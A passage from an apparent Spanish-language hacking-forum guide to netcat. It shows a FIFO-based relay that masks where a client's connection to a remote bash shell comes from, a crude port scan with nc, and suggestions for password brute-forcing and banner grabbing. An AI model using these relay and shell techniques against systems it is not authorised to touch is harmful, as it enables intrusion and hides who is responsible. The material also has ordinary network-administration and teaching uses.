En el Relay, creamos la FIFO, y mediante tuberías unimos el asunto:

# mknod buffer p
# netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer


Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que haría)

Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:
# netcat 172.16.72.135
pwd
/home/XXXX


Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:

# sudo netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABLECIDO 1000 44068 9038/bash


Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)


- Uso como scanner:

Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si :P)

por ejemplo:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian


- Y más...

Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:

- un bruteforcer: Podríamos crear un diccionario, y mandar palabra por palabra
sus entradas a un puerto de forma que cuando se encuentre la contraseña
correcta se registre.

- sacar información: bastará con conectarse al puerto del que queramos
extraer la información del servicio y guardar su respuesta para luego
analizarla.

- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

Y esto es SÓLO la punta del iceberg, si teneis curiosidad, echarle un vistazo a esto:
http://nmap.org/ncat/guide/ncat-tricks.html

salu2!

Enlaces de Interes

el hilo de este post lo puedes encontrar aqui:
http://foro.elhacker.net/hacking_basico/miniguia_otros_usos_de_netcat-t270174.0.html

Jugando con Netcat
http://foro.elhacker.net/hacking_basico/jugando_con_netcat-t159799.0.html

Obtener shell con netcat
http://foro.elhacker.net/hacking_avanzado/paper_obtener_shell_con_netcat-t58032.0.html

Sacandole Provecho a una excelente Utilidad by kliber
http://foro.elhacker.net/index.php?topic=15859.msg83196#msg83196

Truquillos que facilitan la vida en una shell remota
https://foro.elhacker.net/hacking_basico/truquillos_que_facilitan_un_poco_la_vida_en_una_shell_remota-t272659.0.html